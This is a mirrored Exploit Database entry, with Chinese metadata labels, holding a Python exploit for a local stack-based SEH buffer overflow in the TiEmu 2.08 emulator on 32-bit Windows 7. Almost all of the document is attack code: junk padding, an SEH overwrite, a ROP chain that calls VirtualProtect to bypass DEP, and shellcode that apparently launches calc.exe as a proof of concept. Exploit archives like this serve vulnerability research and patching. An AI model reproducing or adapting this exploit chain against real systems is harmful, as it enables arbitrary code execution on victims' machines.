TiEmu 2.08 – Local Buffer Overflow

• Exploit Database
• 36 阅读

• 作者： Juan Sacco
  日期： 2017-05-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42087/

• #!/usr/bin/python
  # Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
  # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
  # Tested on: Windows 7 32 bits
  #
  # Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
  # prone to a stack-based buffer overflow vulnerability because the
  application fails to perform adequate
  # boundary-checks on user-supplied input.
  #
  # What is TiEmu?
  # TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 / TI92+ / V200PLT hand-helds.
  #
  # An attacker could exploit this vulnerability to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  # Vendor homepage: http://lpg.ticalc.org/prj_tiemu/
  
  import struct, subprocess, os
  file = "C:/Program Files/TiEmu/bin/tiemu.exe"
  junk ="A" * 452
  nseh = struct.pack('L', 0x06eb9090)
  seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret-
  libtifiles2-5.dll
  
  def create_rop_chain():
  rop_gadgets = [
  0x75ecd264,# POP ECX # RETN [SHELL32.DLL]
  0x711e1388,# ptr to &VirtualProtect() [IAT COMCTL32.DLL]
  0x7549fd52,# MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
  0x628daecc,# POP EBP # RETN [tcl84.dll]
  0x76c319b8,# & push esp # ret[kernel32.dll]
  0x7606c311,# POP EAX # RETN [SHELL32.DLL]
  0xfffffdff,# Value to negate, will become 0x00000201
  0x75de6a90,# NEG EAX # RETN [SHLWAPI.dll]
  0x76c389d9,# XCHG EAX,EBX # RETN [kernel32.dll]
  0x754f3b2f,# POP EAX # RETN [MSCTF.dll]
  0xffffffc0,# Value to negate, will become 0x00000040
  0x76b13193,# NEG EAX # RETN [USER32.dll]
  0x76c38a09,# XCHG EAX,EDX # RETN [kernel32.dll]
  0x757dfbf7,# POP ECX # RETN [ole32.dll]
  0x71256c9b,# &Writable location [COMCTL32.DLL]
  0x77048567,# POP EDI # RETN [RPCRT4.dll]
  0x757e65e2,# RETN (ROP NOP) [ole32.dll]
  0x76cd6ee4,# POP EAX # RETN [kernel32.dll]
  0x90909090,# nop
  0x76ac6d21,# PUSHAD # RETN [OLEAUT32.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  
  rop_chain = create_rop_chain()
  
  shellcode = "\x90"*6
  shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
  shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
  shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
  shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
  shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
  shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
  shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"
  shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
  shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
  shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
  shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
  shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
  shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
  shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"
  
  junk2 ="A" * 2000
  
  buffer = junk+ nseh + seh + rop_chain + shellcode + junk2
  
  try:
   print(buffer)
   subprocess.call([file, buffer])
  except OSError as e:
   if e.errno == os.errno.ENOENT:
   print "TiEmu not found!"
   else:
  print "Error executing exploit"
   raise